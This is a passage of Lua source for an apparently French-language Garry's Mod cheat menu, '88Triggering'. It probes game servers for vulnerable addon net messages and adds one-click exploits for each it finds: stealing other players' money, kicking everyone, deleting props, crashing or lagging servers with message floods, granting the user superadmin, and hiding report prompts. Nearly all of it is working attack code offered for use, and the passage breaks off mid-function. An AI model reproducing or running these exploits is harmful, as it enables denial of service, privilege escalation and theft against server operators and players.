3690if asnet then MsgC (Color(math.random(1,25),math.random(1,25),math.random(1,25)), "[NetString Détécté] : "..i.." = ") MsgC (Color(math.random(254,255),math.random(254,255),math.random(254,255)),""..asnet.." \n" ) else break end
3691end
3692end)
3693
3694
3695
3696/*=======================
3697|===== MOTDGD KILL =====|
3698========================*/
3699
3700if(istable(MOTDgd))then
3701 MOTDgd = {}
3702 function MOTDgd.Show() end
3703 function MOTDgd.GetIfSkip() return true end
3704 print "On dirait qu'il n'y aura pas de pub :c"
3705end
3706
3707
3708
3709
3710
3711
3712
3713
3714
3715
3716
3717/*===========================
3718|===== 88Triggering GUI =====|
3719===========================*/
3720surface.CreateFont("clsbtn",{font = "Marlett", size = 15, weight = 0, antialias = 0})
3721
3722
3723
3724concommand.Add( "88", function()
3725surface.PlaySound("UI/buttonclick.wav")
3726
3727local A1 = vgui.Create( "DFrame")
3728A1:SetSize( 700, 620 )
3729A1:Center()
3730A1:SetTitle( "" )
3731A1:ShowCloseButton( false )
3732A1:SetDraggable( true )
3733A1:MakePopup()
3734A1.Paint = function( self, w, h )
3735draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 240))
3736end
3737
3738local AC = vgui.Create( "DButton", A1)
3739AC:SetPos( 680, 0)
3740AC:SetSize( 20, 20 )
3741AC:SetText( "X" )
3742AC:SetFont( "clsbtn" )
3743AC.Paint = function( self, w, h )
3744draw.RoundedBox( 0, 0, 0, w, h, Color(0,0,0, 200))
3745if AC:IsHovered() then
3746AC:SetTextColor( Color( 255, 255, 255 ) )
3747draw.RoundedBox(0,0,0,w,h,Color(127,0,0, 200))
3748else
3749draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 200))
3750AC:SetTextColor( Color( 255, 255, 255 ) )
3751end
3752AC.DoClick = function()
3753surface.PlaySound( "UI/buttonclick.wav" )
3754A1:Remove()
3755end
3756end
3757AL = vgui.Create( "HTML", A1 )
3758AL:SetSize( 400,50 )
3759AL:SetPos( 420,10 )
3760AL:OpenURL( "https://image.noelshack.com/fichiers/2018/26/6/1530372954-sans-titrffe-4.png")
3761
3762
3763
3764
3765
3766
3767
3768
3769
3770
3771
3772
3773
3774
3775
3776
3777
3778/*============================
3779|===== 88Triggering TABS =====|
3780=============================*/
3781
3782local Tabs = vgui.Create( "DPropertySheet", A1 )
3783Tabs:Dock( FILL )
3784Tabs:DockPadding( 0, 0, 0, 0)
3785Tabs.Paint = function (self, w, h)
3786for k, v in pairs(Tabs.Items) do
3787 if (!v.Tab) then continue end
3788
3789 v.Tab.Paint = function(self,w,h)
3790 surface.DrawRect( 0, 0, v.Tab:GetWide(), v.Tab:GetTall() )
3791 end
3792 end
3793 end
3794
3795local exploits = vgui.Create( "DPanel", Tabs )
3796 exploits.Paint = function( self, w, h )
3797 exploits:SetSize(100,100)
3798 draw.RoundedBox(10, -20, 0, w, h, Color(15,15,15,220))
3799 end
3800Tabs:AddSheet( "Exploits", exploits )
3801
3802local netcmd = vgui.Create( "DPanel", Tabs )
3803 netcmd.Paint = function( self, w, h )
3804 draw.RoundedBox(10, 200, 25, w, h, Color(15,15,15,220))
3805 end
3806
3807local mscsbd = vgui.Create( "DPanel", Tabs )
3808 mscsbd.Paint = function( self, w, h )
3809 draw.RoundedBox(10, -20, 0, w, h, Color(15,15,15,220))
3810 end
3811
3812local sdbbd = vgui.Create( "DPanel", Tabs )
3813 sdbbd.Paint = function( self, w, h )
3814 draw.RoundedBox(10, -20, 0, w, h, Color(15,15,15,220))
3815 end
3816
3817Tabs:AddSheet( "Backdoor", netcmd )
3818Tabs:AddSheet( "Musique", mscsbd )
3819Tabs:AddSheet( "Soundboard", sdbbd )
3820
3821
3822
3823
3824
3825
3826
3827
3828
3829
3830
3831
3832
3833
3834/*================================
3835|===== 88Triggering EXPLOITS =====|
3836=================================*/
3837
3838concommand.Add("rainbow",function()
3839hook.Add("Think", "Rainbow", function()
3840local RainbowPlayer = HSVToColor( CurTime() % 6 * 60, 1, 1 )
3841 LocalPlayer():SetWeaponColor( Vector( RainbowPlayer.r / 255, RainbowPlayer.g / 255, RainbowPlayer.b / 255 ) )
3842 LocalPlayer():SetPlayerColor( Vector( RainbowPlayer.r / 255, RainbowPlayer.g / 255, RainbowPlayer.b / 255 ) )
3843end )
3844end )
3845
3846function random_string(length)
3847 math.randomseed(os.time())
3848
3849 if length > 0 then
3850 return random_string(length - 1) .. charset[math.random(1, #charset)]
3851 else
3852 return ""
3853 end
3854end
3855
3856local s = {}
3857s.duel = {}
3858s.duel[1] = table.Random( player.GetAll() )
3859s.duel[2] = table.Random( player.GetAll() )
3860s.duel[2] = 3
3861s.duel[3] = -9999999
3862
3863
3864function CHATPRINT( str )
3865chat.AddText( Color( 0, 0, 0 ), "[88Triggering] ", Color( 255, 255, 255), str )
3866end
3867
3868
3869local function NOTIFICATION(text)
3870
3871local notify = vgui.Create( "DPanel" )
3872notify:SetSize( 1920, 50 )
3873notify:SetPos( ScrW() - 200, -50 )
3874notify.Paint = function(self, w, h)
3875draw.RoundedBox( 0, 0, 0, w, h, Color(50, 50, 50, 220))
3876local bars = 10
3877for i=0, bars, 1 do
3878 local rainbow = Color(0, 0, 0,220)
3879 draw.RoundedBox( 0, i * w / bars, notify:GetTall() - 50, w / bars, 50, Color(i + 1 * rainbow.r, i + 1 * rainbow.g, i + 1 * rainbow.b, 220))
3880end
3881//draw.RoundedBox( 0, 0, notify:GetTall() - 2, w, 2, Color(0, 0, 0,220))
3882draw.SimpleText( text, "Calibri-l", notify:GetWide() / 2, notify:GetTall() / 2, Color(255, 255, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
3883end
3884notify:MoveTo( ScrW() - notify:GetWide(), 0, .2, 0, -1, function()
3885timer.Simple( 1, function()
3886notify:MoveTo( ScrW() - notify:GetWide(), -50, .2, 0, -1)
3887end)
3888end)
3889end
3890
3891
3892//////////// [CLEAR CHAT] ////////////
3893
3894function clearchat()
3895for i = 0, 100 do
3896chat.AddText(" ")
3897end
3898end
3899
3900//////////// [VAPE] ////////////
3901
3902function Vape()
3903timer.Simple(0, function() RunConsoleCommand("+attack") end )
3904timer.Simple(5.134, function() RunConsoleCommand("-attack") end )
3905end
3906concommand.Add("vape", Vape)
3907concommand.Add("clearchat", clearchat)
3908
3909function Initialize()
3910NOTIFICATION("88TRIGGERING MENU CHARGÉ !")
3911net.Receive("DL_Answering_global", function(_len)end) // Stop LocalPlayer from getting kicked whilst kicking all
3912net.Receive( "metro_notification",function() // Disable Metro Notification
3913return
3914end)
3915
3916//////////// Font Creation ////////////
3917--
3918surface.CreateFont( "Roboto", {
3919 font = "Roboto",
3920 size = 18,
3921} )
3922--
3923surface.CreateFont( "Calibri-sm", {
3924 font = "Calibri",
3925 size = 15,
3926} )
3927--
3928surface.CreateFont( "Calibri-l", {
3929 font = "Calibri",
3930 size = 21,
3931} )
3932--
3933surface.CreateFont( "tahoma", {
3934 font = "Tahoma",
3935 size = 15,
3936} )
3937--
3938end
3939Initialize(); // Initializes basic shit for when menu is loaded.
3940
3941
3942function ValidNetString( str )
3943local status, error = pcall( net.Start, str )
3944return status
3945end
3946
3947
3948function draw.OutlinedBox( x, y, w, h, thickness, clr )
3949surface.SetDrawColor( clr )
3950for i=0, thickness - 1 do
3951surface.DrawOutlinedRect( x + i, y + i, w - i * 2, h - i * 2 )
3952end
3953end
3954
3955local exploitsScrollPanel = vgui.Create( "DScrollPanel", exploits )
3956exploitsScrollPanel:Dock( FILL )
3957exploitsScrollPanel:InnerWidth(100)
3958local sbar = exploitsScrollPanel:GetVBar()
3959function exploitsScrollPanel:Paint( w, h )
3960 draw.RoundedBox( 3, 0, 0, w, h , Color(0,0,0,0))
3961end
3962function sbar:Paint( w, h )
3963 draw.RoundedBox( 0, 4, 0, w, h, Color( 0, 0, 0, 100 ) )
3964end
3965function sbar.btnUp:Paint( w, h )
3966 draw.RoundedBox( 0, 4, 0, w, h, Color(0,0,0,200))
3967end
3968function sbar.btnDown:Paint( w, h )
3969 draw.RoundedBox( 0, 4, 0, w, h, Color(0,0,0,200))
3970end
3971function sbar.btnGrip:Paint( w, h )
3972 draw.RoundedBox( 0, 4, 0, w, h, Color(0,0,0,200))
3973end
3974
3975totalSploits = 0
3976function addExploit(id, text, desc, func)
3977totalSploits = 1 + totalSploits
3978local id = vgui.Create( "DButton", exploitsScrollPanel )
3979id:SetText( text )
3980id:SetTextColor( Color( 200, 200, 200, 220 ) )
3981id:SetFont("Roboto")
3982id:Dock( TOP )
3983id:DockMargin( 10, 45, 40, -37 )
3984id:DockPadding( 2, 30, 20, 10 )
3985id.DoClick = func
3986if desc then
3987id:SetToolTip( desc )
3988end
3989id.Paint = function( self, w, h )
3990id.OnCursorEntered = function(self)
3991-- surface.PlaySound( "garrysmod/ui_hover.wav" )
3992surface.PlaySound( "buttons/button15.wav" )
3993end
3994if id:IsHovered() then
3995-- draw.SimpleText( desc, "Calibri-sm", -25, 2, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_RIGHT) -- Only Citizen Hack Lua Loader
3996draw.RoundedBox( 0, 0, 0, w, h, Color(30, 30, 30, 245))
3997else
3998draw.RoundedBox( 0, 0, 0, w, h, Color(10, 10, 10, 245))
3999end
4000surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
4001surface.DrawOutlinedRect( 0, 0, w, h )
4002end
4003end
4004
4005
4006//////////////////// [EXPLOITS] ////////////////////
4007
4008status = ValidNetString("TCBBuyAmmo")
4009if (status) then
4010CHATPRINT("Exploit Trouvé : Munitions Gratuites [TCBBuyAmmo]")
4011addExploit( "1","Munitions Gratuites", "", function()
4012surface.PlaySound("garrysmod/ui_click.wav")
4013CHATPRINT("Getting Le Ammo")
4014for k,v in pairs(GAMEMODE.AmmoTypes) do
4015net.Start("TCBBuyAmmo")
4016net.WriteTable( {nil,v.ammoType,nil,"0","999999"} )
4017net.SendToServer()
4018end
4019end)
4020end
4021
4022status = ValidNetString("DataSend")
4023if (status) then
4024CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #1 [DataSend]")
4025addExploit( "2","Voler L'argents De Tous #1", "", function()
4026surface.PlaySound("garrysmod/ui_click.wav")
4027for k, v in pairs( ents.GetAll() ) do
4028if v:GetClass() == "adv_moneyprinter" then
4029CHATPRINT("Collecting Money")
4030net.Start("DataSend")
4031net.WriteFloat(2)
4032net.WriteEntity(v)
4033net.WriteEntity(LocalPlayer())
4034net.SendToServer()
4035end
4036end
4037end)
4038end
4039
4040
4041status = ValidNetString("FarmingmodSellItems")
4042if (status) then
4043CHATPRINT("Exploit Trouvé : Argent Gratuite [FarmingmodSellItems]")
4044addExploit( "3","Argent Gratuite", "", function()
4045surface.PlaySound("garrysmod/ui_click.wav")
4046CHATPRINT("Enjoy the b1g monies")
4047net.Start("FarmingmodSellItems")
4048net.WriteTable(
4049{
4050Cost = 10,
4051CropModel = "models/props/eryk/garlic.mdl",
4052CropType = 2,
4053Info = "Garlic Seed",
4054Model = "models/props/eryk/seedbag.mdl",
4055Name = "Garlic",
4056Quality = 4,
4057Sell = 99999,
4058Type = "Seed"
4059}
4060)
4061net.WriteInt(1,16)
4062net.SendToServer()
4063end)
4064end
4065
4066status = ValidNetString("start_wd_emp")
4067if (status) then
4068CHATPRINT("Exploit Trouvé : Hack Keypad [start_wd_emp]")
4069addExploit( "4","Hack Keypad", "", function()
4070surface.PlaySound("garrysmod/ui_click.wav")
4071NOTIFICATION("Hacking Keypads")
4072net.Start("start_wd_emp")
4073net.SendToServer()
4074end)
4075end
4076
4077status = ValidNetString("duelrequestguiYes")
4078if (status) then
4079CHATPRINT("Exploit Trouvé : Recevoir De L'Argent [duelrequestguiYes]")
4080addExploit( "5","Recevoir De L'Argent", "", function()
4081surface.PlaySound("garrysmod/ui_click.wav")
4082NOTIFICATION("getting ez monies")
4083net.Start("duelrequestguiYes")
4084net.WriteInt(-99999999999999999999999999999999999999999999999999999999999999999999999999999,32)
4085net.WriteEntity(table.Random( player.GetAll() ) )
4086net.WriteString("Crossbow")
4087net.SendToServer()
4088end)
4089end
4090
4091status = ValidNetString("DarkRP_Kun_ForceSpawn")
4092if (status) then
4093CHATPRINT("Exploit Trouvé : Respawn #1 [DarkRP_Kun_ForceSpawn]")
4094addExploit( "6", "Respawn #1", "", function()
4095surface.PlaySound("garrysmod/ui_click.wav")
4096CHATPRINT("Respawn")
4097net.Start("DarkRP_Kun_ForceSpawn")
4098net.SendToServer()
4099end)
4100end
4101
4102status = ValidNetString("SyncPrinterButtons76561198056171650")
4103if (status) then
4104CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #2 [SyncPrinterButtons76561198056171650]")
4105addExploit( "7","Voler L'argents De Tous #2", "", function()
4106surface.PlaySound("garrysmod/ui_click.wav")
4107CHATPRINT("Collecting Money")
4108for k, v in pairs(ents.GetAll()) do
4109if (v:GetClass() == "adv_moneyprinter") then
4110net.Start("SyncPrinterButtons76561198056171650")
4111net.WriteEntity(v)
4112net.WriteUInt(2, 4)
4113net.SendToServer()
4114end
4115end
4116end)
4117end
4118---------------------------------------------------------------------------------------------
4119local function report()
4120 for i = 1, 2000 do
4121 net.Start("DL_Answering")
4122 net.SendToServer()
4123 end
4124end
4125
4126if (Damagelog) then
4127CHATPRINT("Exploit Trouvé : Kick Tous Le Monde")
4128reportSpam = 0
4129addExploit( "1337","Kick Tous Le Monde", "", function()
4130 surface.PlaySound("garrysmod/ui_click.wav")
4131 if (reportSpam == 0) then
4132 NOTIFICATION("Starting Kicker")
4133 reportSpam = 1
4134 timer.Create("reportSpammer", 0.05, 0, report)
4135 else
4136 NOTIFICATION("Stopping Kicker")
4137 reportSpam = 0
4138 timer.Remove("reportSpammer")
4139 end
4140
4141end)
4142end
4143----------------------------------------------------------------------------------------------
4144
4145status = ValidNetString("SimplicityAC_aysent")
4146if (status) then
4147CHATPRINT("Exploit Trouvé : Crash #1 [SimplicityAC_aysent]")
4148addExploit( "8","Crash #1", "", function()
4149surface.PlaySound("garrysmod/ui_click.wav")
4150CHATPRINT("Goodbye Server")
4151local tbl = {}
4152for i=1,400 do
4153tbl[i] = i
4154end
4155net.Start("SimplicityAC_aysent")
4156net.WriteUInt(1, 8)
4157net.WriteUInt(4294967295, 32)
4158net.WriteTable(tbl)
4159net.SendToServer()
4160end)
4161end
4162
4163status = ValidNetString("RevivePlayer")
4164if (status) then
4165CHATPRINT("Exploit Trouvé : Reanimation #1 [RevivePlayer]")
4166addExploit( "9", "Reanimation #1", "", function()
4167surface.PlaySound("garrysmod/ui_click.wav")
4168if !timer.Exists( "reanimation1" ) then
4169NOTIFICATION( "Enabled" )
4170timer.Create( "reanimation1", 0.5, 0, function()
4171if !LocalPlayer():Alive() then
4172net.Start("RevivePlayer")
4173net.WriteEntity(LocalPlayer())
4174net.SendToServer()
4175end
4176end)
4177else
4178timer.Remove( "reanimation1" )
4179NOTIFICATION( "Disabled" )
4180end
4181end )
4182end
4183
4184status = ValidNetString("NLRKick")
4185if (status) then
4186CHATPRINT("Exploit Trouvé : Kick Tous Le Monde [NLRKick]")
4187addExploit( "10","Kick Tous Le Monde", "", function()
4188surface.PlaySound("garrysmod/ui_click.wav")
4189NOTIFICATION("Kicking All")
4190for k,v in pairs(player.GetAll()) do
4191if v != LocalPlayer() then
4192net.Start("NLRKick")
4193net.WriteEntity(v)
4194net.SendToServer()
4195end
4196end
4197end)
4198end
4199
4200status = ValidNetString("timebombDefuse")
4201if (status) then
4202CHATPRINT("Exploit Trouvé : Supprimer Tous Les Props [timebombDefuse]")
4203addExploit( "11","Supprimer Tous Les Props", "", function()
4204surface.PlaySound("garrysmod/ui_click.wav")
4205NOTIFICATION("Props De_Stroyed")
4206for k,v in pairs(ents.GetAll()) do
4207net.Start("timebombDefuse")
4208net.WriteEntity(v)
4209net.WriteBool(true)
4210net.SendToServer()
4211end
4212end)
4213end
4214
4215status = ValidNetString("NDES_SelectedEmblem")
4216if (status) then
4217CHATPRINT("Exploit Trouvé : Lagger #2 [NDES_SelectedEmblem]")
4218addExploit( "12","Lagger #2", "", function()
4219surface.PlaySound("garrysmod/ui_click.wav")
4220if !timer.Exists( "lagger2" ) then
4221timer.Create("lagger2", 0.5, 0, function()
4222for i=1, 2000 do
4223net.Start("NDES_SelectedEmblem",true)
4224net.WriteString("seized")
4225net.SendToServer()
4226end
4227end)
4228NOTIFICATION("Starting Lagger")
4229else
4230timer.Remove("lagger2")
4231NOTIFICATION("Stopping Lagger")
4232end
4233end)
4234end
4235
4236status = ValidNetString("Morpheus.StaffTracker")
4237if (status) then
4238CHATPRINT("Exploit Trouvé : Crasher #1 [Morpheus.StaffTracker]")
4239addExploit( "13","Crasher #1", "", function()
4240surface.PlaySound("garrysmod/ui_click.wav")
4241if !timer.Exists( "crasher1" ) then
4242timer.Create("crasher1", 0.5, 0, function()
4243for i=1, 2000 do
4244net.Start("Morpheus.StaffTracker")
4245net.SendToServer()
4246end
4247end)
4248NOTIFICATION("Crashing Server")
4249else
4250timer.Remove("crasher1")
4251NOTIFICATION( "Canceling Crasher" )
4252end
4253end)
4254end
4255
4256status = ValidNetString("egg")
4257if (status) then
4258CHATPRINT("Exploit Trouvé : Recevoir Les Easter Eggs")
4259addExploit( "14","Recevoir Les Easter Eggs", "", function()
4260surface.PlaySound("garrysmod/ui_click.wav")
4261RunConsoleCommand("say", "4bigz")
4262RunConsoleCommand("cc_egg2")
4263net.Start("egg")
4264net.SendToServer()
4265NOTIFICATION("Gave Easter Egg")
4266end)
4267end
4268
4269status = ValidNetString("pplay_deleterow")
4270if (status) then
4271CHATPRINT("Exploit Trouvé : Devenir SuperAdmin [pplay_deleterow]")
4272addExploit( "15","Devenir SuperAdmin", "", function()
4273surface.PlaySound("garrysmod/ui_click.wav")
4274local id = LocalPlayer():SteamID()
4275local tbl = {}
4276tbl.name = "FAdmin_PlayerGroup"
4277tbl.where = {
4278"steamid",
4279tostring(id)
4280}
4281
4282net.Start("pplay_deleterow")
4283net.WriteTable(tbl)
4284net.SendToServer()
4285local tbl = {}
4286tbl.tblname = "FAdmin_PlayerGroup"
4287tbl.tblinfo = {
4288tostring(id),
4289"superadmin"
4290}
4291net.Start("pplay_addrow")
4292net.WriteTable(tbl)
4293net.SendToServer()
4294NOTIFICATION("promotion ;)")
4295end)
4296end
4297
4298-- TTT Bypass Report by daddy grampa
4299
4300local function CheckChild(pan)
4301local title = "You have been reported! Please answer all your reports."
4302 if !pan || !IsValid(pan) then return end
4303 if pan.GetTitle && pan:GetTitle() == title then
4304 pan:Remove();
4305 print("Removed warning box")
4306 return
4307 end
4308 for k,v in pairs(pan:GetChildren()) do
4309 if v.GetTitle && v:GetTitle() == title then
4310 v:Remove();
4311 print("Removed warning box")
4312 return
4313 end
4314 if #v:GetChildren() > 0 then
4315 CheckChild(v)
4316 end
4317 end
4318end
4319
4320if (engine.ActiveGamemode() == "terrortown") then
4321bypass = 0
4322CHATPRINT("Exploit Trouvé : TTT Bypass Report")
4323addExploit( "16","Activer/Désactiver Bypass Report TTT", "", function()
4324surface.PlaySound("garrysmod/ui_click.wav")
4325if (bypass == 0) then
4326hook.Add("Think", "remove_ttt_report", function()
4327local pan = vgui.GetHoveredPanel()
4328CheckChild(pan)
4329end)
4330NOTIFICATION("Enabled Report Bypass")
4331bypass = 1
4332else
4333hook.Remove("Think", "remove_ttt_report")
4334NOTIFICATION("Disabled Report Bypass")
4335bypass = 0
4336end
4337end)
4338end
4339
4340status = ValidNetString("EZS_PlayerTag")
4341if (status) then
4342CHATPRINT("Exploit Trouvé : Lagger #3 [EZS_PlayerTag]")
4343addExploit( "17","Lagger #3", "", function()
4344surface.PlaySound("garrysmod/ui_click.wav")
4345if !timer.Exists( "lagger3" ) then
4346timer.Create("lagger3", 0.5, 0, function()
4347for k, v in pairs(player.GetAll()) do
4348net.Start("EZS_PlayerTag",true)
4349net.WriteEntity(v)
4350net.WriteString("Seized")
4351net.SendToServer()
4352timer.Simple(2, function()
4353net.Start("EZS_PlayerTag",true)
4354net.WriteEntity(v)
4355net.WriteString("Seized")
4356net.SendToServer()
4357end)
4358end
4359end)
4360NOTIFICATION("Starting Lagger")
4361else
4362timer.Remove("lagger3")
4363NOTIFICATION("Stopping Lagger")
4364end
4365end)
4366end
4367
4368if ConVarExists("advttt_spreadovertime_enabled") then
4369CHATPRINT("Exploit Trouvé : NoSpread")
4370addExploit( "18","NoSpread", "", function()
4371surface.PlaySound("garrysmod/ui_click.wav")
4372hook.Remove("PlayerTick", "WyoziAdvTTTSpreadOverTime")
4373NOTIFICATION("Spread Removed")
4374end)
4375end
4376
4377status = ValidNetString("fp_as_doorHandler")
4378if (status) then
4379CHATPRINT("Exploit Trouvé : Ouvrir Des Portes | Fermer Des Portes | Supprimer Le Propriétaire [fp_as_doorHandler]")
4380addExploit( "19","Ouvrir La Porte", "", function()
4381surface.PlaySound("garrysmod/ui_click.wav")
4382net.Start("fp_as_doorHandler")
4383net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
4384net.WriteString("unlock")
4385net.SendToServer()
4386NOTIFICATION("Opened Door")
4387end)
4388end
4389
4390status = ValidNetString("fp_as_doorHandler")
4391if (status) then
4392addExploit( "20","Fermer La Porte", "", function()
4393surface.PlaySound("garrysmod/ui_click.wav")
4394net.Start("fp_as_doorHandler")
4395net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
4396net.WriteString("lock")
4397net.SendToServer()
4398NOTIFICATION("Opened Door")
4399end)
4400end
4401
4402status = ValidNetString("fp_as_doorHandler")
4403if (status) then
4404addExploit( "21","Supprimer Le Propriétaire", "", function()
4405surface.PlaySound("garrysmod/ui_click.wav")
4406local door = LocalPlayer():GetEyeTrace().Entity
4407local doorOwner = door:getDoorData()["owner"]
4408net.Start("fp_as_doorHandler")
4409net.WriteEntity(door)
4410net.WriteString("removeOwner")
4411net.WriteDouble(doorOwner)
4412net.SendToServer()
4413NOTIFICATION("Opened Door")
4414end)
4415end
4416
4417status = ValidNetString("VJSay")
4418if (status) then
4419CHATPRINT("Exploit Trouvé : VJSay [OLD] [VJSay]")
4420addExploit( "22","VJSay [OLD]", "", function()
4421surface.PlaySound("garrysmod/ui_click.wav")
4422inputFrame2Exists = true
4423inputFrame2 = vgui.Create( "DFrame" )
4424inputFrame2:SetTitle("Enter your message!")
4425inputFrame2:SetSize( 400, 75 )
4426inputFrame2:SetPos(ScrW() / 2 - inputFrame2:GetWide() / 2, ScrH() / 2 + 230 )
4427inputFrame2:SetDraggable(false)
4428inputFrame2:ShowCloseButton(false)
4429inputFrame2:MakePopup()
4430inputFrame2.Paint = function( self, w, h )
4431draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
4432end
4433
4434local TextEntry2 = vgui.Create( "DTextEntry", inputFrame2 )
4435TextEntry2:SetSize( 380, 30 )
4436TextEntry2:SetPos( inputFrame2:GetWide() / 2 - TextEntry2:GetWide() / 2, inputFrame2:GetTall() / 2 - TextEntry2:GetTall() / 2 )
4437TextEntry2:SetText( "Broadcast Msg" )
4438TextEntry2.OnEnter = function( self )
4439surface.PlaySound("garrysmod/ui_click.wav")
4440NOTIFICATION("Broadcasting")
4441net.Start("VJSay")
4442net.WriteEntity(nil)
4443net.WriteString(TextEntry2:GetValue())
4444net.WriteString("")
4445net.SendToServer()
4446inputFrame2:SetVisible(false)
4447end
4448end)
4449end
4450
4451status = ValidNetString("ply_pick_shit")
4452if (status) then
4453CHATPRINT("Exploit Trouvé : Argent Gratuite amirite [ply_pick_shit]")
4454addExploit( "23","Argent Gratuite amirite", "", function()
4455surface.PlaySound("garrysmod/ui_click.wav")
4456for k, v in pairs (player.GetAll()) do
4457for i = 1,255 do
4458net.Start("ply_pick_shit")
4459net.WriteEntity(LocalPlayer())
4460net.WriteEntity(v)
4461net.SendToServer()
4462end
4463end
4464NOTIFICATION("enjoy monies")
4465end)
4466end
4467
4468status = ValidNetString("pac.net.TouchFlexes.ClientNotify")
4469if (status) then
4470CHATPRINT("Exploit Trouvé : Faire Crash #2 [pac.net.TouchFlexes.ClientNotify]")
4471addExploit( "24","Crasher #2", "big lagz", function()
4472surface.PlaySound("garrysmod/ui_click.wav")
4473if !timer.Exists( "crasher2" ) then
4474timer.Create("crasher2", 0, 0, function()
4475for i = 1, 400 do
4476net.Start("pac.net.TouchFlexes.ClientNotify")
4477net.WriteInt( 9999999999999999999999999999999999999999999999999999999999999999999999, 13)
4478net.SendToServer()
4479end
4480end)
4481NOTIFICATION("Starting Crasher")
4482else
4483timer.Remove("crasher2")
4484NOTIFICATION("Stopping Crasher")
4485end
4486end)
4487end
4488
4489status = ValidNetString("BM2.Command.SellBitcoins")
4490if (status) then
4491CHATPRINT("Exploit Trouvé : Vendre Vos Bitcoins [BM2.Command.SellBitcoins]")
4492addExploit( "25","Vendre Vos Bitcoins", "sells your and other peoples bitcoins at a great distance", function()
4493surface.PlaySound("garrysmod/ui_click.wav")
4494for k, v in pairs(ents.FindByClass("bm2_bitminer_1")) do
4495net.Start("BM2.Command.SellBitcoins")
4496net.WriteEntity(v)
4497net.SendToServer()
4498end
4499for k, v in pairs(ents.FindByClass("bm2_bitminer_2")) do
4500net.Start("BM2.Command.SellBitcoins")
4501net.WriteEntity(v)
4502net.SendToServer()
4503end
4504for k, v in pairs(ents.FindByClass("bm2_bitminer_rack")) do
4505net.Start("BM2.Command.SellBitcoins")
4506net.WriteEntity(v)
4507net.SendToServer()
4508end
4509end)
4510end
4511
4512status = ValidNetString("BM2.Command.Eject")
4513if (status) then
4514CHATPRINT("Exploit Trouvé : Lagger #4 [BM2.Command.Eject]")
4515addExploit( "26","Lagger #4", "", function()
4516surface.PlaySound("garrysmod/ui_click.wav")
4517if !timer.Exists( "lagger4" ) then
4518timer.Create("lagger4", 0, 0, function()
4519for i = 1, 1000 do
4520net.Start("BM2.Command.Eject",true)
4521net.WriteInt(9999999999999999999999999999999999999999999999999999999999999999999999, 8)
4522net.SendToServer()
4523end
4524end)
4525NOTIFICATION("Starting Lagger")
4526else
4527timer.Remove("lagger4")
4528NOTIFICATION("Stopping Lagger")
4529end
4530end)
4531end
4532
4533status = ValidNetString("BM2.Command.SellBitcoins")
4534if (status) then
4535CHATPRINT("Exploit Trouvé : Lagger #5 [BM2.Command.SellBitcoins]")
4536addExploit( "27","Lagger #5", "", function()
4537surface.PlaySound("garrysmod/ui_click.wav")
4538timer.Create("lagger5", 0, 0, function()
4539for i=1,1000 do
4540net.Start("BM2.Command.SellBitcoins",true)
4541net.WriteEntity(LocalPlayer())
4542net.SendToServer()
4543end
4544end )
4545end )
4546end
4547
4548status = ValidNetString("ItemStoreUse")
4549if (status) then
4550CHATPRINT("Exploit Trouvé : Lagger #6 [ItemStoreUse]")
4551addExploit( "28","Lagger #6", "", function()
4552surface.PlaySound("garrysmod/ui_click.wav")
4553if !timer.Exists( "lagger6" ) then
4554timer.Create("lagger6", 0, 0, function()
4555for i = 1, 1000 do
4556net.Start("ItemStoreUse",true)
4557net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
4558net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
4559net.SendToServer()
4560end
4561end)
4562NOTIFICATION("Starting Lagger")
4563else
4564timer.Remove("lagger6")
4565NOTIFICATION("Stopping Lagger")
4566end
4567end)
4568end
4569
4570status = ValidNetString("ItemStoreDrop")
4571if (status) then
4572CHATPRINT("Exploit Trouvé : Lagger #7 [ItemStoreDrop]")
4573addExploit( "29","Lagger #7", "", function()
4574surface.PlaySound("garrysmod/ui_click.wav")
4575if !timer.Exists( "lagger7" ) then
4576timer.Create("lagger7", 0, 0, function()
4577for i = 1, 1000 do
4578net.Start("ItemStoreDrop",true)
4579net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
4580net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
4581net.SendToServer()
4582end
4583end)
4584NOTIFICATION("Starting Lagger")
4585else
4586timer.Remove("lagger7")
4587NOTIFICATION("Stopping Lagger")
4588end
4589end)
4590end
4591
4592status = ValidNetString("gMining.sellMineral")
4593if (status) then
4594CHATPRINT("Exploit Trouvé : Lagger #8 [gMining.sellMineral]")
4595addExploit( "30","Lagger #8", "", function()
4596surface.PlaySound("garrysmod/ui_click.wav")
4597NOTIFICATION("Starting")
4598if !timer.Exists( "lagger8" ) then
4599timer.Create("lagger8", 0, 0, function()
4600for i = 1, 1000 do
4601net.Start("gMining.sellMineral",true)
4602net.WriteInt(9999999999999999999999999999999999999999999999999999999999, 3)
4603net.WriteString(" ")
4604net.SendToServer()
4605end
4606end )
4607end
4608end )
4609end
4610
4611status = ValidNetString("PlayerUseItem")
4612if (status) then
4613CHATPRINT("Exploit Trouvé : Lagger #9 [PlayerUseItem]")
4614addExploit( "31","Lagger #9", "", function()
4615surface.PlaySound("garrysmod/ui_click.wav")
4616if !timer.Exists( "lagger9" ) then
4617timer.Create("lagger9", 0,0, function()
4618for i = 1, 800 do
4619net.Start("PlayerUseItem",true)
4620net.WriteInt(99999999999999999999999999999999999999999999999, 32)
4621net.SendToServer()
4622end
4623end)
4624NOTIFICATION("Starting Lagger")
4625else
4626timer.Remove("lagger9")
4627NOTIFICATION("Stopping Lagger")
4628end
4629end)
4630end
4631
4632status = ValidNetString("RequestMAPSize")
4633if (status) then
4634CHATPRINT("Exploit Trouvé : Lagger #10 [RequestMAPSize]")
4635addExploit( "32","Lagger #10", "", function()
4636surface.PlaySound("garrysmod/ui_click.wav")
4637if !timer.Exists( "lagger10" ) then
4638timer.Create("lagger10", 0, 0, function()
4639for i = 1, 400 do
4640net.Start("RequestMAPSize",true)
4641net.SendToServer()
4642end
4643end)
